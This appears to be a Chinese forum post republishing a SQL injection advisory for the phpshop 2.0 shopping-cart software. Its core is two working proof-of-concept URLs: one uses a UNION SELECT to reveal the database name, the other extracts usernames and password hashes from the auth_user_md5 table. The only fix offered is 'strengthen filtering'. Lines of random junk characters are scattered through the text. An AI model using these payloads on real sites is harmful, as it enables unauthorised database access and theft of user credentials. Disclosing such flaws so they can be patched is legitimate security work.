phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

$ p5 X6 T) i$ r& Q- z作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
7 p4 }! `& I- f* i" k) L测试地址: windows 7 / ubuntu

* x# d! u3 B7 I3 r" D& U! J" f3 I8 |& N
, J! ^& \$ h1 i" ^SQLi p0c:
! l2 g" q# I& f& k' U
2 o7 Z9 h3 \+ ~! Y& r+ R==================
0 ?) \9 o) M) ~) `; M
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
  L/ z0 \; |, h# c/ i% _7 G& h! |
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
) @, q+ p- `/ N* j% S
; h; t, ]  p6 {) f修复：
9 g2 j' C8 l* l6 D3 X- {加强过滤
# Q% X2 U$ T! z7 C1 q' ?​
3 s/ i; R- [$ E# E
1 h1 n' L) j) _2 U) }% @$ }